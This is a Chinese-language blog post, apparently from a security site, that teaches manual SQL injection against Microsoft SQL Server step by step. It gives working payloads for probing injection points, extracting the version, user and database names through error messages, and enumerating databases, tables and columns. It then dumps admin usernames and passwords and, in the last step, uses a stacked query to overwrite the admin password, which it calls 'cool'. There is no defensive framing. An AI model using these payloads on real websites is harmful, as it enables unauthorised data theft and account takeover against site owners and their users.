最新消息:

MSSQL手工注入详解

渗透测试 Eternal 8288浏览 0评论

MSSQL手工注入,看似复杂命令繁多。但由于其本身的结构特点,和强大的函数功能,反而为我们进行注入及后续的渗透,带来了极大的方便。另外由于其注入时的语句相对固定,因此市面上的注入工具,对于MSSQL的注入支持效果甚好。下面我从注入语句的原理为大家进行介绍。

一.判断数据库类型:

在判断数据库类型时,我们可以用经典的在注入点后加?’一个单引号?,来通过页面的报错,来获取到网站的数据库类型。

二.判断注入点:

当我们确定了是MSSQL后,接着我们来判断该网站是否存在注入点。还是经典的判断命令:and 1=1 ??and 1=2?,通过返回的对错来判断是否存在注入。

三.判断数据库的版本号:

判断数据库版本号的语句也非常简单,只需在注入点后输入 ?and @@version>0?,即可在页面爆出版本号。这里的原理也很简单,当注入点将我们的查询语句带入到数据库进行查询,得到结果后又与 0 进行了大小的比较。由于无法将字符与数字进行比较和转换,浏览器就直接将我们查询的结果以错误的形式,返回给浏览器。从而我们就爆出了它的版本号信息。

四.查看当前连接数据库的用户名:

同样的原理,利用其无法进行大小比较的特点,爆出数据库的用户名。

and user>0
dbo=sa mssql管理员

五.查看当前连接数据库:

以此类推,查看当前连接数据,并进行比较报错。

and db_name()>0

六.查看其它数据库:

在MSSQL中,我们可以通过一条简单的命令,进行跨库查询。由于其默认数据库的 id 号从 6 以后为用户定义数据库,因此利用这一特点,我们只要改动内带字典库的 id ,就可遍历出用户建立的数据库信息。

库名.所有者.表名
and (select name from master.dbo.sysdatabases where and dbid=6) >1

七.判断表名:

通过自带的字典表,我们可以轻松获取到用户创建的表名信息。
and (select top 1 name from sysobjects where xtype=’u’ and status>0 )>0

八.判断其它表:

同样,通过命令的简单改动,我们就能遍历其它的表名信息。我们只要将之前猜出的表名进行排除即可。

and name not in(‘xxx’,’xx’)

注意:加入到最后一个括号前!

九.判断列:

通过命令语句找出 admin 表中的第一列信息。以此类推可以遍历出 2,3,4等。

admin(username,password)
and (Select Top 1 col_name(object_id(‘admin’),1) from sysobjects)>0

十.获取数据内容:

只要将之前得到的表名列名进行组合查询,形成完整的SQL查询语句即可进行正常的查询。
and (select username from admin)>0

十一.更改密码:

没错,我们可以直接来修改dbo的密码。是不是很酷!别忘了前面的分号,加了分号可以执行多条SQL语句。

;update article.dbo.admin set password=’a123456′ where username=’admin’;–

原创文章,转载请注明来源 即刻安全

转载请注明:即刻安全 » MSSQL手工注入详解

您必须 登录 才能发表评论!

网友最新评论 (1)



合作伙伴